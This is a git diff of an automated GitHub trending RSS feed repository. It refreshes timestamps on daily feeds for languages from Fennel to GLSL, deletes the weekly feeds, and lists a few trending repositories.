2023-10-29T01:52:09Z - Weekly Trending of Fennel in GitHub - - \ No newline at end of file diff --git a/figlet-font/daily/index.xml b/figlet-font/daily/index.xml index d707159d5cb..73877a43f1a 100644 --- a/figlet-font/daily/index.xml +++ b/figlet-font/daily/index.xml @@ -1,7 +1,7 @@ GitHub FIGlet Font Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:34Z + 2023-10-30T01:27:53Z Daily Trending of FIGlet Font in GitHub \ No newline at end of file diff --git a/figlet-font/weekly/index.xml b/figlet-font/weekly/index.xml deleted file mode 100644 index 0bf048406f1..00000000000 --- a/figlet-font/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FIGlet Font Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:08Z - Weekly Trending of FIGlet Font in GitHub - - \ No newline at end of file diff --git a/filebench-wml/daily/index.xml b/filebench-wml/daily/index.xml index eadb62a12f9..6a1bea4fdaa 100644 --- a/filebench-wml/daily/index.xml +++ b/filebench-wml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filebench WML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:33Z + 2023-10-30T01:27:53Z Daily Trending of Filebench WML in GitHub \ No newline at end of file diff --git a/filebench-wml/weekly/index.xml b/filebench-wml/weekly/index.xml deleted file mode 100644 index c2057527c08..00000000000 --- a/filebench-wml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Filebench WML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:07Z - Weekly Trending of Filebench WML in GitHub - - \ No newline at end of file diff --git a/filterscript/daily/index.xml b/filterscript/daily/index.xml index b08165c073e..4ec0f2db759 100644 --- a/filterscript/daily/index.xml +++ b/filterscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filterscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:37Z + 2023-10-30T01:27:55Z Daily Trending of Filterscript in GitHub \ No newline at end of file diff --git a/filterscript/weekly/index.xml b/filterscript/weekly/index.xml deleted file mode 100644 index 755d184bb51..00000000000 --- a/filterscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Filterscript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:12Z - Weekly Trending of Filterscript in GitHub - - \ No newline at end of file diff --git a/fish/daily/index.xml b/fish/daily/index.xml index 1e2d2c5143f..8bae371565d 100644 --- a/fish/daily/index.xml +++ b/fish/daily/index.xml @@ -1,7 +1,7 @@ GitHub fish Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:37Z + 2023-10-30T01:27:56Z Daily Trending of fish in GitHub \ No newline at end of file diff --git a/fish/weekly/index.xml b/fish/weekly/index.xml deleted file mode 100644 index a502a843b56..00000000000 --- a/fish/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub fish Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:13Z - Weekly Trending of fish in GitHub - - \ No newline at end of file diff --git a/fluent/daily/index.xml b/fluent/daily/index.xml index b5e219d7fdf..0b45069570c 100644 --- a/fluent/daily/index.xml +++ b/fluent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fluent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:39Z + 2023-10-30T01:27:57Z Daily Trending of Fluent in GitHub \ No newline at end of file diff --git a/fluent/weekly/index.xml b/fluent/weekly/index.xml deleted file mode 100644 index 42c670d1b2f..00000000000 --- a/fluent/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fluent Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:10Z - Weekly Trending of Fluent in GitHub - - \ No newline at end of file diff --git a/flux/daily/index.xml b/flux/daily/index.xml index 865ff4935b1..89b17826cbf 100644 --- a/flux/daily/index.xml +++ b/flux/daily/index.xml @@ -1,7 +1,7 @@ GitHub FLUX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:38Z + 2023-10-30T01:27:57Z Daily Trending of FLUX in GitHub \ No newline at end of file diff --git a/flux/weekly/index.xml b/flux/weekly/index.xml deleted file mode 100644 index c88d9eaa704..00000000000 --- a/flux/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FLUX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:11Z - Weekly Trending of FLUX in GitHub - - \ No newline at end of file diff --git a/formatted/daily/index.xml b/formatted/daily/index.xml index b9144df7f65..0566b35c23f 100644 --- a/formatted/daily/index.xml +++ b/formatted/daily/index.xml @@ -1,7 +1,7 @@ GitHub Formatted Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:41Z + 2023-10-30T01:27:59Z Daily Trending of Formatted in GitHub \ No newline at end of file diff --git a/formatted/weekly/index.xml b/formatted/weekly/index.xml deleted file mode 100644 index 1057ceaec64..00000000000 --- a/formatted/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Formatted Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:15Z - Weekly Trending of Formatted in GitHub - - \ No newline at end of file diff --git a/forth/daily/index.xml b/forth/daily/index.xml index 65d246ed074..ec931651a15 100644 --- a/forth/daily/index.xml +++ b/forth/daily/index.xml @@ -1,7 +1,7 @@ GitHub Forth Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:42Z + 2023-10-30T01:27:59Z Daily Trending of Forth in GitHub \ No newline at end of file diff --git a/forth/weekly/index.xml b/forth/weekly/index.xml deleted file mode 100644 index 3c5276c74dc..00000000000 --- a/forth/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Forth Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:16Z - Weekly Trending of Forth in GitHub - - \ No newline at end of file diff --git a/fortran-free-form/daily/index.xml b/fortran-free-form/daily/index.xml index ce623c35aeb..438afe5364d 100644 --- a/fortran-free-form/daily/index.xml +++ b/fortran-free-form/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fortran Free Form Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:41Z + 2023-10-30T01:28:02Z Daily Trending of Fortran Free Form in GitHub \ No newline at end of file diff --git a/fortran-free-form/weekly/index.xml b/fortran-free-form/weekly/index.xml deleted file mode 100644 index 563688f948d..00000000000 --- a/fortran-free-form/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fortran Free Form Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:17Z - Weekly Trending of Fortran Free Form in GitHub - - \ No newline at end of file diff --git a/fortran/daily/index.xml b/fortran/daily/index.xml index f151e78e3be..4ff13ba5a33 100644 --- a/fortran/daily/index.xml +++ b/fortran/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fortran Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:45Z + 2023-10-30T01:28:01Z Daily Trending of Fortran in GitHub \ No newline at end of file diff --git a/fortran/weekly/index.xml b/fortran/weekly/index.xml deleted file mode 100644 index fa6d3e6ddef..00000000000 --- a/fortran/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fortran Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:20Z - Weekly Trending of Fortran in GitHub - - \ No newline at end of file diff --git a/freebasic/daily/index.xml b/freebasic/daily/index.xml index 44aeb7b5304..dc3f26240d4 100644 --- a/freebasic/daily/index.xml +++ b/freebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:49Z + 2023-10-30T01:28:05Z Daily Trending of FreeBasic in GitHub \ No newline at end of file diff --git a/freebasic/weekly/index.xml b/freebasic/weekly/index.xml deleted file mode 100644 index 871c1c6f13b..00000000000 --- a/freebasic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FreeBasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:24Z - Weekly Trending of FreeBasic in GitHub - - \ No newline at end of file diff --git a/freemarker/daily/index.xml b/freemarker/daily/index.xml index e6d3597c0e0..6c454d2d536 100644 --- a/freemarker/daily/index.xml +++ b/freemarker/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeMarker Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:48Z + 2023-10-30T01:28:04Z Daily Trending of FreeMarker in GitHub \ No newline at end of file diff --git a/freemarker/weekly/index.xml b/freemarker/weekly/index.xml deleted file mode 100644 index e043a7b2d5e..00000000000 --- a/freemarker/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FreeMarker Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:23Z - Weekly Trending of FreeMarker in GitHub - - \ No newline at end of file diff --git a/frege/daily/index.xml b/frege/daily/index.xml index 94b4b8cde15..485e75b788f 100644 --- a/frege/daily/index.xml +++ b/frege/daily/index.xml @@ -1,7 +1,7 @@ GitHub Frege Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:47Z + 2023-10-30T01:28:03Z Daily Trending of Frege in GitHub \ No newline at end of file diff --git a/frege/weekly/index.xml b/frege/weekly/index.xml deleted file mode 100644 index 1867ef6321d..00000000000 --- a/frege/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Frege Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:21Z - Weekly Trending of Frege in GitHub - - \ No newline at end of file diff --git a/futhark/daily/index.xml b/futhark/daily/index.xml index 3158d48d566..0e4bd33ee19 100644 --- a/futhark/daily/index.xml +++ b/futhark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Futhark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:48Z + 2023-10-30T01:28:05Z Daily Trending of Futhark in GitHub \ No newline at end of file diff --git a/futhark/weekly/index.xml b/futhark/weekly/index.xml deleted file mode 100644 index ca4800c162d..00000000000 --- a/futhark/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Futhark Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:22Z - Weekly Trending of Futhark in GitHub - - \ No newline at end of file diff --git a/g-code/daily/index.xml b/g-code/daily/index.xml index 49ff9565b5a..568cef2c0a6 100644 --- a/g-code/daily/index.xml +++ b/g-code/daily/index.xml @@ -1,7 +1,7 @@ GitHub G-code Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:52Z + 2023-10-30T01:28:06Z Daily Trending of G-code in GitHub \ No newline at end of file diff --git a/g-code/weekly/index.xml b/g-code/weekly/index.xml deleted file mode 100644 index 11e7b295fec..00000000000 --- a/g-code/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub G-code Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:25Z - Weekly Trending of G-code in GitHub - - \ No newline at end of file diff --git a/game-maker-language/daily/index.xml b/game-maker-language/daily/index.xml index 0a64baf30f3..34b83f14f76 100644 --- a/game-maker-language/daily/index.xml +++ b/game-maker-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Game Maker Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:52Z + 2023-10-30T01:28:08Z Daily Trending of Game Maker Language in GitHub \ No newline at end of file diff --git a/game-maker-language/weekly/index.xml b/game-maker-language/weekly/index.xml deleted file mode 100644 index b94defe4f1c..00000000000 --- a/game-maker-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Game Maker Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:27Z - Weekly Trending of Game Maker Language in GitHub - - \ No newline at end of file diff --git a/gaml/daily/index.xml b/gaml/daily/index.xml index 60ad86321f1..7149d63fe9f 100644 --- a/gaml/daily/index.xml +++ b/gaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:53Z + 2023-10-30T01:28:08Z Daily Trending of GAML in GitHub \ No newline at end of file diff --git a/gaml/weekly/index.xml b/gaml/weekly/index.xml deleted file mode 100644 index ce5f82c0c33..00000000000 --- a/gaml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GAML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:26Z - Weekly Trending of GAML in GitHub - - \ No newline at end of file diff --git a/gams/daily/index.xml b/gams/daily/index.xml index 0cae5e9809c..787e55b9986 100644 --- a/gams/daily/index.xml +++ b/gams/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAMS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:51Z + 2023-10-30T01:28:07Z Daily Trending of GAMS in GitHub \ No newline at end of file diff --git a/gams/weekly/index.xml b/gams/weekly/index.xml deleted file mode 100644 index b05330f2561..00000000000 --- a/gams/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GAMS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:28Z - Weekly Trending of GAMS in GitHub - - \ No newline at end of file diff --git a/gap/daily/index.xml b/gap/daily/index.xml index a659bc1043f..3c1d175fe87 100644 --- a/gap/daily/index.xml +++ b/gap/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:56Z + 2023-10-30T01:28:10Z Daily Trending of GAP in GitHub \ No newline at end of file diff --git a/gap/weekly/index.xml b/gap/weekly/index.xml deleted file mode 100644 index 35198aec9c0..00000000000 --- a/gap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GAP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:32Z - Weekly Trending of GAP in GitHub - - \ No newline at end of file diff --git a/gcc-machine-description/daily/index.xml b/gcc-machine-description/daily/index.xml index 3c864e573bc..1c94842fcaa 100644 --- a/gcc-machine-description/daily/index.xml +++ b/gcc-machine-description/daily/index.xml @@ -1,7 +1,7 @@ GitHub GCC Machine Description Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:55Z + 2023-10-30T01:28:10Z Daily Trending of GCC Machine Description in GitHub \ No newline at end of file diff --git a/gcc-machine-description/weekly/index.xml b/gcc-machine-description/weekly/index.xml deleted file mode 100644 index 7f1f0a877da..00000000000 --- a/gcc-machine-description/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GCC Machine Description Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:30Z - Weekly Trending of GCC Machine Description in GitHub - - \ No newline at end of file diff --git a/gdb/daily/index.xml b/gdb/daily/index.xml index a0a4d4a1b56..366be4e8140 100644 --- a/gdb/daily/index.xml +++ b/gdb/daily/index.xml @@ -1,7 +1,7 @@ GitHub GDB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:55Z + 2023-10-30T01:28:11Z Daily Trending of GDB in GitHub \ No newline at end of file diff --git a/gdb/weekly/index.xml b/gdb/weekly/index.xml deleted file mode 100644 index 4a4ec9d6caf..00000000000 --- a/gdb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GDB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:31Z - Weekly Trending of GDB in GitHub - - \ No newline at end of file diff --git a/gdscript/daily/index.xml b/gdscript/daily/index.xml index b307aa9b919..04b6aed4c8a 100644 --- a/gdscript/daily/index.xml +++ b/gdscript/daily/index.xml @@ -1,21 +1,21 @@ GitHub GDScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:59Z + 2023-10-30T01:28:13Z Daily Trending of GDScript in GitHub - BL-MSCH-C220/Exercise-4-4-Enemies - 2023-10-29T01:31:59Z - tag:github.com,2023-10-29:/BL-MSCH-C220/Exercise-4-4-Enemies - - <p>Exercise for MSCH-C220</p><hr> + Jamsers/Godot-Human-For-Scale + 2023-10-30T01:28:13Z + tag:github.com,2023-10-30:/Jamsers/Godot-Human-For-Scale + + <p>Simple controllable character that you can use to run around in your Godot level.</p><hr> - ephread/inkgd - 2023-10-29T01:31:59Z - tag:github.com,2023-10-29:/ephread/inkgd - - <p>Implementation of inkle's Ink in pure GDScript for Godot, with editor support.</p><hr> + don-tnowe/godot-dictionary-inspector + 2023-10-30T01:28:13Z + tag:github.com,2023-10-30:/don-tnowe/godot-dictionary-inspector + + <p>An inspector editor for Dictionaries. But better than the built-in one.</p><hr> \ No newline at end of file diff --git a/gdscript/weekly/index.xml b/gdscript/weekly/index.xml deleted file mode 100644 index 4c3b7fbce1d..00000000000 --- a/gdscript/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub GDScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:34Z - Weekly Trending of GDScript in GitHub - - - BL-MSCH-C220/Exercise-4-2-State-Machine - 2023-10-29T01:52:34Z - tag:github.com,2023-10-29:/BL-MSCH-C220/Exercise-4-2-State-Machine - - <p>Exercise for MSCH-C220</p><hr> - - - BenjaTK/Gaea - 2023-10-29T01:52:34Z - tag:github.com,2023-10-29:/BenjaTK/Gaea - - <p>Procedural generation add-on for Godot 4.</p><hr> - - - Rhythia/Rhythia - 2023-10-29T01:52:34Z - tag:github.com,2023-10-29:/Rhythia/Rhythia - - <p>Rhythia is an aim-based rhythm game</p><hr> - - \ No newline at end of file diff --git a/gedcom/daily/index.xml b/gedcom/daily/index.xml index 82a0ba370e6..785afb27201 100644 --- a/gedcom/daily/index.xml +++ b/gedcom/daily/index.xml @@ -1,7 +1,7 @@ GitHub GEDCOM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:00Z + 2023-10-30T01:28:16Z Daily Trending of GEDCOM in GitHub \ No newline at end of file diff --git a/gedcom/weekly/index.xml b/gedcom/weekly/index.xml deleted file mode 100644 index 186114cb5fe..00000000000 --- a/gedcom/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GEDCOM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:36Z - Weekly Trending of GEDCOM in GitHub - - \ No newline at end of file diff --git a/gemfile.lock/daily/index.xml b/gemfile.lock/daily/index.xml index 66d01d31249..8fad042e2a4 100644 --- a/gemfile.lock/daily/index.xml +++ b/gemfile.lock/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gemfile.lock Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:02Z + 2023-10-30T01:28:16Z Daily Trending of Gemfile.lock in GitHub \ No newline at end of file diff --git a/gemfile.lock/weekly/index.xml b/gemfile.lock/weekly/index.xml deleted file mode 100644 index 1034d1bf792..00000000000 --- a/gemfile.lock/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gemfile.lock Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:39Z - Weekly Trending of Gemfile.lock in GitHub - - \ No newline at end of file diff --git a/genero-forms/daily/index.xml b/genero-forms/daily/index.xml index 01ff7978e3c..bb48f542024 100644 --- a/genero-forms/daily/index.xml +++ b/genero-forms/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genero Forms Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:04Z + 2023-10-30T01:28:19Z Daily Trending of Genero Forms in GitHub \ No newline at end of file diff --git a/genero-forms/weekly/index.xml b/genero-forms/weekly/index.xml deleted file mode 100644 index 4fb5d1268a8..00000000000 --- a/genero-forms/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genero Forms Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:43Z - Weekly Trending of Genero Forms in GitHub - - \ No newline at end of file diff --git a/genero/daily/index.xml b/genero/daily/index.xml index 26253d72e2f..a49c4af73d0 100644 --- a/genero/daily/index.xml +++ b/genero/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genero Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:03Z + 2023-10-30T01:28:14Z Daily Trending of Genero in GitHub \ No newline at end of file diff --git a/genero/weekly/index.xml b/genero/weekly/index.xml deleted file mode 100644 index c01fce92929..00000000000 --- a/genero/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genero Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:38Z - Weekly Trending of Genero in GitHub - - \ No newline at end of file diff --git a/genie/daily/index.xml b/genie/daily/index.xml index 7336f7d4b07..ef124ea253b 100644 --- a/genie/daily/index.xml +++ b/genie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:06Z + 2023-10-30T01:28:19Z Daily Trending of Genie in GitHub \ No newline at end of file diff --git a/genie/weekly/index.xml b/genie/weekly/index.xml deleted file mode 100644 index 1476eeeb9ac..00000000000 --- a/genie/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genie Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:41Z - Weekly Trending of Genie in GitHub - - \ No newline at end of file diff --git a/genshi/daily/index.xml b/genshi/daily/index.xml index e30bf60ae8c..dba2ce4a67e 100644 --- a/genshi/daily/index.xml +++ b/genshi/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genshi Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:07Z + 2023-10-30T01:28:17Z Daily Trending of Genshi in GitHub \ No newline at end of file diff --git a/genshi/weekly/index.xml b/genshi/weekly/index.xml deleted file mode 100644 index 18274ddd4f4..00000000000 --- a/genshi/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genshi Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:40Z - Weekly Trending of Genshi in GitHub - - \ No newline at end of file diff --git a/gentoo-ebuild/daily/index.xml b/gentoo-ebuild/daily/index.xml index 9c8cccea2d4..72fd2558613 100644 --- a/gentoo-ebuild/daily/index.xml +++ b/gentoo-ebuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Ebuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:05Z + 2023-10-30T01:28:18Z Daily Trending of Gentoo Ebuild in GitHub \ No newline at end of file diff --git a/gentoo-ebuild/weekly/index.xml b/gentoo-ebuild/weekly/index.xml deleted file mode 100644 index 040aa76ffc9..00000000000 --- a/gentoo-ebuild/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gentoo Ebuild Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:42Z - Weekly Trending of Gentoo Ebuild in GitHub - - \ No newline at end of file diff --git a/gentoo-eclass/daily/index.xml b/gentoo-eclass/daily/index.xml index 3edf501f68a..5ccb5b317c1 100644 --- a/gentoo-eclass/daily/index.xml +++ b/gentoo-eclass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Eclass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:10Z + 2023-10-30T01:28:21Z Daily Trending of Gentoo Eclass in GitHub \ No newline at end of file diff --git a/gentoo-eclass/weekly/index.xml b/gentoo-eclass/weekly/index.xml deleted file mode 100644 index 346e824d914..00000000000 --- a/gentoo-eclass/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gentoo Eclass Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:46Z - Weekly Trending of Gentoo Eclass in GitHub - - \ No newline at end of file diff --git a/gerber-image/daily/index.xml b/gerber-image/daily/index.xml index 6874c781317..626be86b61d 100644 --- a/gerber-image/daily/index.xml +++ b/gerber-image/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gerber Image Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:09Z + 2023-10-30T01:28:23Z Daily Trending of Gerber Image in GitHub \ No newline at end of file diff --git a/gerber-image/weekly/index.xml b/gerber-image/weekly/index.xml deleted file mode 100644 index 74a6a7bc6a9..00000000000 --- a/gerber-image/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gerber Image Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:45Z - Weekly Trending of Gerber Image in GitHub - - \ No newline at end of file diff --git a/gettext-catalog/daily/index.xml b/gettext-catalog/daily/index.xml index 1641fbcc104..11be915a907 100644 --- a/gettext-catalog/daily/index.xml +++ b/gettext-catalog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gettext Catalog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:08Z + 2023-10-30T01:28:21Z Daily Trending of Gettext Catalog in GitHub \ No newline at end of file diff --git a/gettext-catalog/weekly/index.xml b/gettext-catalog/weekly/index.xml deleted file mode 100644 index 6e07cd4c821..00000000000 --- a/gettext-catalog/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gettext Catalog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:44Z - Weekly Trending of Gettext Catalog in GitHub - - \ No newline at end of file diff --git a/gherkin/daily/index.xml b/gherkin/daily/index.xml index 1601e2ce872..f69d6412bc7 100644 --- a/gherkin/daily/index.xml +++ b/gherkin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gherkin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:11Z + 2023-10-30T01:28:22Z Daily Trending of Gherkin in GitHub \ No newline at end of file diff --git a/gherkin/weekly/index.xml b/gherkin/weekly/index.xml deleted file mode 100644 index e889d8e89ae..00000000000 --- a/gherkin/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Gherkin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:47Z - Weekly Trending of Gherkin in GitHub - - - Crowdar/lippia-low-code-sample-project - 2023-10-29T01:52:47Z - tag:github.com,2023-10-29:/Crowdar/lippia-low-code-sample-project - - <p></p><hr> - - \ No newline at end of file diff --git a/git-attributes/daily/index.xml b/git-attributes/daily/index.xml index 3592a92c78d..36b83d381e1 100644 --- a/git-attributes/daily/index.xml +++ b/git-attributes/daily/index.xml @@ -1,7 +1,7 @@ GitHub Git Attributes Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:15Z + 2023-10-30T01:28:24Z Daily Trending of Git Attributes in GitHub \ No newline at end of file diff --git a/git-attributes/weekly/index.xml b/git-attributes/weekly/index.xml deleted file mode 100644 index 8eb070bfb6d..00000000000 --- a/git-attributes/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Git Attributes Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:51Z - Weekly Trending of Git Attributes in GitHub - - \ No newline at end of file diff --git a/git-config/daily/index.xml b/git-config/daily/index.xml index 7b390ee8b15..5da1f990573 100644 --- a/git-config/daily/index.xml +++ b/git-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Git Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:14Z + 2023-10-30T01:28:25Z Daily Trending of Git Config in GitHub \ No newline at end of file diff --git a/git-config/weekly/index.xml b/git-config/weekly/index.xml deleted file mode 100644 index 5a620f740bb..00000000000 --- a/git-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Git Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:49Z - Weekly Trending of Git Config in GitHub - - \ No newline at end of file diff --git a/gleam/daily/index.xml b/gleam/daily/index.xml index 601a42c3460..1b4f52f9e55 100644 --- a/gleam/daily/index.xml +++ b/gleam/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gleam Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:13Z + 2023-10-30T01:28:25Z Daily Trending of Gleam in GitHub \ No newline at end of file diff --git a/gleam/weekly/index.xml b/gleam/weekly/index.xml deleted file mode 100644 index 00aa8cf818e..00000000000 --- a/gleam/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gleam Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:52:48Z - Weekly Trending of Gleam in GitHub - - \ No newline at end of file diff --git a/glsl/daily/index.xml b/glsl/daily/index.xml index be1cd7af9a1..adcacdeb6bb 100644 --- a/glsl/daily/index.xml +++ b/glsl/daily/index.xml @@ -1,7 +1,14 @@ GitHub GLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:20Z + 2023-10-30T01:28:30Z Daily Trending of GLSL in GitHub + + quic/snapdragon-gsr + 2023-10-30T01:28:30Z + 